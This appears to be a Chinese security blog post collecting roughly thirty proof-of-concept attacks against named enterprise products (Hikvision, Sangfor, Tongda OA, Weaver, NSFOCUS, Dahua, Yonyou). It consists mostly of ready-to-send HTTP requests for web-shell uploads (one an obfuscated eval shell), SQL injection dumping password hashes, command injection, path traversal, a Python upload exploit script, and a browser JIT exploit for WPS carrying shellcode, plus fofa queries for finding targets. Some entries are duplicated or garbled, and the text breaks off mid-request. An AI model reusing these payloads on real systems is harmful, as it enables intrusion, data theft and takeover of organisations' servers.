150个常见厂商的POC合集-包含部分exp

Created2025-09-13|Updated2025-09-14|渗透工具

一、杨CC对工具的评价

部分来源于2023HW发现的漏洞POC，包含多个厂商。
部分来源于公众号，部分来源于网络。

二、POC合集

1、网神 SecSSL 3600安全接入网关系统任意密码修改漏洞

POC

POST /changepass.php?type=2 

Cookie: admin_id=1; gw_user_ticket=ffffffffffffffffffffffffffffffff; last_step_param={"this_name":"test","subAuthId":"1"}
old_pass=&password=Test123!@&repassword=Test123!@

2、网神 SecGate 3600 防火墙 obj_app_upfile 任意文件上传漏洞

POST /?g=obj_app_upfile HTTP/1.1
Host: x.x.x.x
Accept: /
Accept-Encoding: gzip, deflate
Content-Length: 574
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQc
User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.0; Trident/4.0)

------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="upfile"; filename="vulntest.php"
Content-Type: text/plain

<?php php马?>

------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundaryJpMyThWnAxbcBBQc--

马儿路径：attachements/xxx.php

3、通达OA sql注入漏洞 CVE-2023-4166

GET /general/system/seal_manage/dianju/delete_log.php?DELETE_STR=1)%20and%20(substr(DATABASE(),1,1))=char(84)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_schema.columns%20B)%20and(1)=(1 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

4、通达OA sql注入漏洞 CVE-2023-4165 POC

GET /general/system/seal_manage/iweboffice/delete_seal.php?DELETE_STR=1)%20and%20(substr(DATABASE(),1,1))=char(84)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_schema.columns%20B)%20and(1)=(1 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

5、深信服应用交付系统命令执行漏洞 POC

POST /rep/login
Host:10.10.10.1:85

clsMode=cls_mode_login%0Als%0A&index=index&log_type=report&loginType=account&page=login&rnd=0&userID=admin&userPsw=123

POST /rep/login HTTP/1.1
Host: 127.0.0.1:85
Content-Length: 119
Sec-Ch-Ua: "Not/A)Brand";v="99", "Google Chrome";v="115", "Chromium";v="115"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Origin: https://127.0.0.1:85
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://127.0.0.1:85/rep/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8
Connection: close

page=login&userID=admin%0aid%0a&userPsw=admin&log_type=report&index=index&clsMode=cls_mode_login&rnd=0.2590337321501175

HTTP/1.1 200 OK
Date: Wed, 09 Aug 2023 06:19:46 GMT
Server:       
Cache-Control: max-age=0, no-store, no-cache
Set-Cookie: PHPSESSID=adc5dc504310e3031b9598a5b83de36d; Path=/
Vary: Accept-Encoding
x-frame-options: SAMEORIGIN
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 91

提示：请输入账户或密码|uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)

6、广联达oa sql注入漏洞 POC

POST /Webservice/IM/Config/ConfigService.asmx/GetIMDictionary HTTP/1.1
Host: xxx.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://xxx.com:8888/Services/Identification/Server/Incompatible.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: 
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 88

dasdas=&key=1' UNION ALL SELECT top 1812 concat(F_CODE,':',F_PWD_MD5) from T_ORG_USER --

7、深信服 sxf-报表系统版本有限制

POC

POST /rep/login HTTP/1.1 
Host: URL
Cookie: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0s X 10.15: ry:109.0)Gecko/20100101 Firefox/115.0 
Accept:text/html,application/xhtml+xml,application/xml;g=0,9, image/avif, image/webp,*/*;q=0.8 Accept-Language:zh-CN, zh;g=0.8, zh-TW;g=0.7, zh-HK;g=0.5,en-US;g=0.3,en;g=0.2 
Accept-Encoding: gzip deflate 
Upgrade-Insecure-Requests: 1 
Sec-Fetch-Dest: document 
Sec-Fetch-Mode: navigate 
Sec-Fetch-Site: cross-site Pragma: no-cache Cache-Control: no-cache14 Te: trailers 
Connection: close 
Content-Type:application/x-www-form-urlencoded 
Content-Length: 126 clsMode=cls_mode_login&index=index&log_type=report&page=login&rnd=0.7550103466497915&userID=admin%0Aid -a %0A&userPsw=tmbhuisq

8、绿盟sas安全审计系统任意文件读取漏洞POC

1	/webconf/GetFile/index``?``path=../../../../../../../../../../../../../../etc/passwd

9、蓝凌OA前台代码执行

POC

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: www.ynjd.cn:801
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: /
Connection: Keep-Alive
Content-Length: 42
Content-Type: application/x-www-form-urlencoded

var={"body":{"file":"file:///etc/passwd"}}

10、金山WPS RCE

wps影响范围为：WPS Office 2023 个人版 < 11.1.0.15120

WPS Office 2019 企业版 < 11.8.2.12085

POC

在1.html当前路径下启动http server并监听80端口，修改hosts文件（测试写死的）

127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn

漏洞触发需让域名规则满足clientweb.docer.wps.cn.{xxxxx}wps.cn cloudwps.cn和wps.cn没有任何关系

代码块在底下。（需要原pdf加wechat）

<script>
if(typeof alert === "undefined"){
alert = console.log;
}
let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function gc(){ // major
for (let i = 0; i < 0x10; i++) {
new Array(0x100000);
}
}
function foo(bug) {
function C(z) {
Error.prepareStackTrace = function(t, B) {
return B[z].getThis();
};
let p = Error().stack;
Error.prepareStackTrace = null;
return p;
}
function J() {}
var optim = false;
var opt = new Function(
'a', 'b', 'c',
'if(typeof a===\'number\'){if(a>2){for(var
i=0;i<100;i++);return;}b.d(a,b,1);return}' +
'g++;'.repeat(70));
var e = null;
J.prototype.d = new Function(
'a', 'b', '"use strict";b.a.call(arguments,b);return arguments[a];');
J.prototype.a = new Function('a', 'a.b(0,a)');
J.prototype.b = new Function(
'a', 'b',
'b.c();if(a){' +
'g++;'.repeat(70) + '}');
J.prototype.c = function() {
if (optim) {
var z = C(3);
var p = C(3);
z[0] = 0;
e = {M: z, C: p};
}
};
var a = new J();
// jit optim
if (bug) {
for (var V = 0; 1E4 > V; V++) {
opt(0 == V % 4 ? 1 : 4, a, 1);
}
}
optim = true;
opt(1, a, 1);
return e;
}
e1 = foo(false);
e2 = foo(true);
delete e2.M[0];
let hole = e2.C[0];
let map = new Map();
map.set('asd', 8);
map.set(hole, 0x8);
map.delete(hole);
map.delete(hole);
map.delete("asd");
map.set(0x20, "aaaa");
let arr3 = new Array(0);
let arr4 = new Array(0);
let arr5 = new Array(1);
let oob_array = [];
oob_array.push(1.1);
map.set("1", -1);
let obj_array = {
m: 1337, target: gc
};
let ab = new ArrayBuffer(1337);
let object_idx = undefined;
let object_idx_flag = undefined;
let max_size = 0x1000;
for (let i = 0; i < max_size; i++) {
if (d2u(oob_array[i])[0] === 0xa72) {
object_idx = i;
object_idx_flag = 1;
break;
}if (d2u(oob_array[i])[1] === 0xa72) {
object_idx = i + 1;
object_idx_flag = 0;
break;
}
}
function addrof(obj_para) {
obj_array.target = obj_para;
let addr = d2u(oob_array[object_idx])[object_idx_flag] - 1;
obj_array.target = gc;
return addr;
}
function fakeobj(addr) {
let r8 = d2u(oob_array[object_idx]);
if (object_idx_flag === 0) {
oob_array[object_idx] = u2d(addr, r8[1]);
}else {
oob_array[object_idx] = u2d(r8[0], addr);
}
return obj_array.target;
}
let bk_idx = undefined;
let bk_idx_flag = undefined;
for (let i = 0; i < max_size; i++) {
if (d2u(oob_array[i])[0] === 1337) {
bk_idx = i;
bk_idx_flag = 1;
break;
}if (d2u(oob_array[i])[1] === 1337) {
bk_idx = i + 1;
bk_idx_flag = 0;
break;
}
}
let dv = new DataView(ab);
function get_32(addr) {
let r8 = d2u(oob_array[bk_idx]);
if (bk_idx_flag === 0) {
oob_array[bk_idx] = u2d(addr, r8[1]);
} else {
oob_array[bk_idx] = u2d(r8[0], addr);
}
let val = dv.getUint32(0, true);
oob_array[bk_idx] = u2d(r8[0], r8[1]);
return val;
}
function set_32(addr, val) {
let r8 = d2u(oob_array[bk_idx]);
if (bk_idx_flag === 0) {
oob_array[bk_idx] = u2d(addr, r8[1]);
} else {
oob_array[bk_idx] = u2d(r8[0], addr);
}
dv.setUint32(0, val, true);
oob_array[bk_idx] = u2d(r8[0], r8[1]);
}
function write8(addr, val) {
let r8 = d2u(oob_array[bk_idx]);
if (bk_idx_flag === 0) {
oob_array[bk_idx] = u2d(addr, r8[1]);
} else {
oob_array[bk_idx] = u2d(r8[0], addr);
}
dv.setUint8(0, val);
}
let fake_length = get_32(addrof(oob_array)+12);
set_32(get_32(addrof(oob_array)+8)+4,fake_length);
let wasm_code = new
Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,
128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,
128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0
,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;
let target_addr = addrof(wasm_instance)+0x40;
let rwx_mem = get_32(target_addr);
//alert("rwx_mem is"+rwx_mem.toString(16));
const shellcode = new Uint8Array([0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89,
0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30,0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14,
0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff,0xac, 0x3c, 0x61, 0x7c,
0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52,0x57, 0x8b,
0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01,
0xd1,0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49,
0x8b, 0x34, 0x8b,0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7,
0x38, 0xe0, 0x75, 0xf6, 0x03,0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58,
0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b,0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01,
0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,0x24, 0x5b, 0x5b, 0x61,
0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb,0x8d, 0x5d,
0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b,
0x6f,0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x68, 0xa6, 0x95, 0xbd,
0x9d, 0xff, 0xd5,0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
0x47, 0x13, 0x72, 0x6f, 0x6a,0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63,
0x00]);
for(let i=0;i<shellcode.length;i++){
write8(rwx_mem+i,shellcode[i]);
}
f();
</script>

11、汉得SRM tomcat.jsp 登录绕过漏洞 POC

1 2	/tomcat.jsp?dataName=role_id&dataValue=1 /tomcat.jsp?dataName=user_id&dataValue=1

然后访问后台：/main.screen

12、广联达oa 后台文件上传漏洞 POC

POST /gtp/im/services/group/msgbroadcastuploadfile.aspx HTTP/1.1
Host: 10.10.10.1:8888
X-Requested-With: Ext.basex
Accept: text/html, application/xhtml+xml, image/jxr, /
Accept-Language: zh-Hans-CN,zh-Hans;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj
Accept: /
Origin: http://10.10.10.1
Referer: http://10.10.10.1:8888/Workflow/Workflow.aspx?configID=774d99d7-02bf-42ec-9e27-caeaa699f512&menuitemid=120743&frame=1&modulecode=GTP.Workflow.TaskCenterModule&tabID=40
Cookie: 
Connection: close
Content-Length: 421

------WebKitFormBoundaryFfJZ4PlAZBixjELj
Content-Disposition: form-data; filename="1.aspx";filename="1.jpg"
Content-Type: application/text

<%@ Page Language="Jscript" Debug=true%>
<%
var FRWT='XeKBdPAOslypgVhLxcIUNFmStvYbnJGuwEarqkifjTHZQzCoRMWD';
var GFMA=Request.Form("qmq1");
var ONOQ=FRWT(19) + FRWT(20) + FRWT(8) + FRWT(6) + FRWT(21) + FRWT(1);
eval(GFMA, ONOQ);
%>

------WebKitFormBoundaryFfJZ4PlAZBixjELj--

13、广联达oa sql注入漏洞 POC

POST /Webservice/IM/Config/ConfigService.asmx/GetIMDictionary HTTP/1.1
Host: xxx.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://xxx.com:8888/Services/Identification/Server/Incompatible.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: 
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 88

dasdas=&key=1' UNION ALL SELECT top 1812 concat(F_CODE,':',F_PWD_MD5) from T_ORG_USER --

14、泛微E-Office9文件上传漏洞 CVE-2023-2648 POC

POST /inc/jquery/uploadify/uploadify.php HTTP/1.1
Host: 192.168.233.10:8082
User-Agent: test
Connection: close
Content-Length: 493
Accept-Encoding: gzip
Content-Type: multipart/form-data

------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
Content-Disposition: form-data; name="Filedata"; filename="666.php"
Content-Type: application/octet-stream

<?php phpinfo();?>

------WebKitFormBoundarydRVCGWq4Cx3Sq6tt

15、泛微E-Office9文件上传漏洞 CVE-2023-2523 POC

POST/Emobile/App/Ajax/ajax.php?action=mobile_upload_save  HTTP/1.1 
Host:192.168.233.10:8082  
Cache-Control:max-age=0  
Upgrade-Insecure-Requests:1  
Origin:null  
Content-Type:multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt  
Accept-Encoding:gzip, deflate
Accept-Language:en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection:close

------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
Content-Disposition:form-data; name="upload_quwan"; filename="1.php."
Content-Type:image/jpeg
<?phpphpinfo();?>
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt

1
2
3

POST /api/user/login

captcha=&password=21232f297a57a5a743894a0e4a801fc3&username=admin'and(select*from(select+sleep(3))a)='

17、安恒明御运维审计与风险控制系统堡垒机任意用户注册

POST /service/?unix:/../../../../var/run/rpc/xmlrpc.sock|http://test/wsrpc HTTP/1.1
Host: xxx
Cookie: LANG=zh; USM=0a0e1f29d69f4b9185430328b44ad990832935dbf1b90b8769d297dd9f0eb848
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 1121

<?xml version="1.0"?>
<methodCall>
<methodName>web.user_add</methodName>
<params>
<param>
<value>
<array>
<data>
<value>
<string>admin</string>
</value>
<value>
<string>5</string>
</value>
<value>
<string>XX.XX.XX.XX</string>
</value>
</data>
</array>
</value>
</param>
<param>
<value>
<struct>
<member>
<name>uname</name>
<value>
<string>deptadmin</string>
</value>
</member>
<member>
<name>name</name>
<value>
<string>deptadmin</string>
</value>
</member>
<member>
<name>pwd</name>
<value>
<string>Deptadmin@123</string>
</value>
</member>
<member>
<name>authmode</name>
<value>
<string>1</string>
</value>
</member>
<member>
<name>deptid</name>
<value>
<string></string>
</value>
</member>
<member>
<name>email</name>
<value>
<string></string>
</value>
</member>
<member>
<name>mobile</name>
<value>
<string></string>
</value>
</member>
<member>
<name>comment</name>
<value>
<string></string>
</value>
</member>
<member>
<name>roleid</name>
<value>
<string>101</string>
</value>
</member>
</struct></value>
</param>
</params>
</methodCall>

18、HiKVISION 综合安防管理平台 report 任意文件上传漏洞 POC

fofa查询语句

icon_hash=“-808437027” app=“HIKVISION-iSecure-Center”

EXP/POC：payload.py 脚本走127.0.0.1:8080 代理，方便burpsuit抓包。

#!usr/bin/env python
# - coding:utf-8 *-*
import sys
import requests
import string
import random
import urllib3
urllib3.disable_warnings()

proxies = {
    'http': 'http://127.0.0.1:8080', 
    'https': 'http://127.0.0.1:8080', #127.0.0.1:8080 代理，方便burpsuit抓包
}

def run(arg):
    try:
        flag=''.join(random.choices(string.ascii_uppercase + string.digits, k = 9))
        filename=''.join(random.choices(string.ascii_uppercase + string.digits, k = 10))
        vuln_url=arg+"center/api/files;.js"
        headers={'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)',
                 'Accept': '*/*',
                 'Content-Type': 'application/x-www-form-urlencoded'}
        file = {'file': (f'../../../../../bin/tomcat/apache-tomcat/webapps/clusterMgr/{filename}.txt', flag, 'application/octet-stream')}
        r = requests.post(vuln_url, files=file, timeout=15, verify=False, proxies=proxies)
        if r.status_code==200 and "webapps/clusterMgr" in r.text:

            payload=f"clusterMgr/{filename}.txt;.js"
            url=arg+payload
            r2 = requests.get(url, timeout=15, verify=False, proxies=proxies)
            if r2.status_code==200 and flag in r2.text:

                print('\033[1;31;40m')
                print(arg+f":存在海康威视isecure center 综合安防管理平台存在任意文件上传漏洞\nshell地址：{url}")
                print('\033[0m')



        else:
            print(arg+":不存在漏洞")
    except:
        print(arg+":不存在漏洞")


if name == '__main__':
    url=sys.argv[1]
    run(url)

burpsuit抓包分析

burpsuit 127.0.0.1:8080抓包，抓取post 包一个，get 请求包一个。 payload：请求数据包

POST /center/api/files;.js HTTP/1.1
Host: x.x.x.x
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 258
Content-Type: multipart/form-data; boundary=e54e7e5834c8c50e92189959fe7227a4

--e54e7e5834c8c50e92189959fe7227a4
Content-Disposition: form-data; name="file"; filename="../../../../../bin/tomcat/apache-tomcat/webapps/clusterMgr/2BT5AV96QW.txt"
Content-Type: application/octet-stream

9YPQ3I3ZS
--e54e7e5834c8c50e92189959fe7227a4--

payload的返回数据包。

HTTP/1.1 200 
Server: openresty/1.13.6.2
Date: Fri, 14 Jul 2023 04:35:23 GMT
Content-Type: application/json;charset=UTF-8
Content-Length: 335
Connection: close
Set-Cookie: JSESSIONID=0A235873FB1C02C345345C0D36A4C709; Path=/center; HttpOnly
Content-Language: en_US
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: 0
Content-Disposition: inline;filename=f.txt

{"code":"0","data":{"filename":"../../../../../bin/tomcat/apache-tomcat/webapps/clusterMgr/

访问漏洞链接：https://x.x.x.x/clusterMgr/2BT5AV96QW.txt;.js ，查看是否上传成功。

因为Hikvision平台使用的中间件为tomcat，修改报文和文件名，所以实现上传哥斯拉生成jsp。宿主服务器windows和linux都可使用。windows 拿到的账户是system账户，linux为root。 Hikvison账户管理密码的后渗透操作：海康威视综合安防后渗透利用技巧

POC2

POST /center/api/files;.html HTTP/1.1
Host: 10.10.10.10
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9PggsiM755PLa54a

------WebKitFormBoundary9PggsiM755PLa54a
Content-Disposition: form-data; name="file"; filename="../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/eportal/new.jsp"
Content-Type: application/zip

<%jsp的马%>
------WebKitFormBoundary9PggsiM755PLa54a--

report 任意文件上传漏洞

POST /svm/api/external/report HTTP/1.1
Host: 10.10.10.10
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9PggsiM755PLa54a

------WebKitFormBoundary9PggsiM755PLa54a
Content-Disposition: form-data; name="file"; filename="../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/eportal/new.jsp"
Content-Type: application/zip

<%jsp的马%>

------WebKitFormBoundary9PggsiM755PLa54a--

马儿路径：/portal/ui/login/..;/..;/new.jsp

19、HiKVISION 综合安防管理平台 files 任意文件上传漏洞 POC

POST /center/api/files;.html HTTP/1.1
Host: 10.10.10.10
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9PggsiM755PLa54a

------WebKitFormBoundary9PggsiM755PLa54a
Content-Disposition: form-data; name="file"; filename="../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/eportal/new.jsp"
Content-Type: application/zip

<%jsp的马%>
------WebKitFormBoundary9PggsiM755PLa54a--

20、Exchange Server远程代码执行漏洞（CVE-2023-38182）风险通告

待补充poc exp

描述和影响范围

Exchange Server 2019 Cumulative Update 13

Exchange Server 2019 Cumulative Update 12

Exchange Server 2019 Cumulative Update 11

Exchange Server 2016 Cumulative Update 23

需要有普通用户权限

21、Coremail远程代码执行漏洞（官方已辟谣）

22、泛微 E-Cology 某版本 SQL注入漏洞 POC

POST /dwr/call/plaincall/CptDwrUtil.ifNewsCheckOutByCurrentUser.dwr HTTP/1.1
Host: ip:port 
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36
Connection: close 

Content-Length: 189
Content-Type: text/plain
Accept-Encoding: gzip

callCount=1
page=
httpSessionId=
scriptSessionId=
c0-scriptName=DocDwrUtil
c0-methodName=ifNewsCheckOutByCurrentUser
c0-id=0
c0-param0=string:1 AND 1=1
c0-param1=string:1
batchId=0

23、金和OA C6-GetSqlData.aspx SQL注入漏洞 POC

POST /C6/Control/GetSqlData.aspx/.ashx
Host: ip:port 
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36
Connection: close
Content-Length: 189
Content-Type: text/plain
Accept-Encoding: gzip

exec master..xp_cmdshell 'ipconfig'

24、大华智慧园区综合管理平台 searchJson SQL注入漏洞 POC

GET /portal/services/carQuery/getFaceCapture/searchJson/%7B%7D/pageJson/%7B%22orderBy%22:%221%20and%201=updatexml(1,concat(0x7e,(select%20md5(388609)),0x7e),1)--%22%7D/extend/%7B%7D HTTP/1.1
Host: 127.0.0.1:7443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Connection: close

25、大华智慧园区综合管理平台文件上传漏洞 POC

POST /publishing/publishing/material/file/video HTTP/1.1
Host: 127.0.0.1:7443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 804
Content-Type: multipart/form-data; boundary=dd8f988919484abab3816881c55272a7
Accept-Encoding: gzip, deflate
Connection: close

--dd8f988919484abab3816881c55272a7
Content-Disposition: form-data; name="Filedata"; filename="0EaE10E7dF5F10C2.jsp"

<%@page contentType="text/html; charset=GBK"%><%@page import="java.math.BigInteger"%><%@page import="java.security.MessageDigest"%><% MessageDigest md5 = null;md5 = MessageDigest.getInstance("MD5");String s = "123456";String miyao = "";String jiamichuan = s + miyao;md5.update(jiamichuan.getBytes());String md5String = new BigInteger(1, md5.digest()).toString(16);out.println(md5String);new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
--dd8f988919484abab3816881c55272a7
Content-Disposition: form-data; name="poc"

poc
--dd8f988919484abab3816881c55272a7
Content-Disposition: form-data; name="Submit"

submit
--dd8f988919484abab3816881c55272a7--

26、用友时空KSOA PayBill SQL注入漏洞 POC

POST /servlet/PayBill?caculate&_rnd= HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 134
Accept-Encoding: gzip, deflate
Connection: close

<?xml version="1.0" encoding="UTF-8" ?><root><name>1</name><name>1'WAITFOR DELAY '00:00:03';-</name><name>1</name><name>102360</name></root>

27、绿盟 SAS堡垒机 local_user.php 任意用户登录漏洞 POC

GET /api/virtual/home/status?cat=../../../../../../../../../../../../../../usr/local/nsfocus/web/apache2/www/local_user.php&method=login&user_account=admin HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Connection: close

28、绿盟 SAS堡垒机 GetFile 任意文件读取漏洞 POC

GET /api/virtual/home/status?cat=../../../../../../../../../../../../../../usr/local/nsfocus/web/apache2/www/local_user.php&method=login&user_account=admin HTTP/1.1

Host: 1.1.1.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

Connection: close

29、绿盟 SAS堡垒机 Exec 远程命令执行漏洞 POC

GET /webconf/Exec/index?cmd=wget%20xxx.xxx.xxx HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close

30、用友移动管理系统 uploadApk.do 任意文件上传漏洞

POST /maportal/appmanager/uploadApk.do?pk_obj=0001A1100000000H66QB HTTP/1.1 
Host: 127.0.0.1:8080 
Content-Length: 198 
Cache-Control: max-age=0 
Upgrade-Insecure-Requests: 1 
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvLTG6zlX0gZ8LzO3 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 
Accept-Encoding: gzip, deflate 
Accept-Language: zh-CN,zh;q=0.9 
Cookie: JSESSIONID=4ABE9DB29CA45044BE1BECDA0A25A091.server 
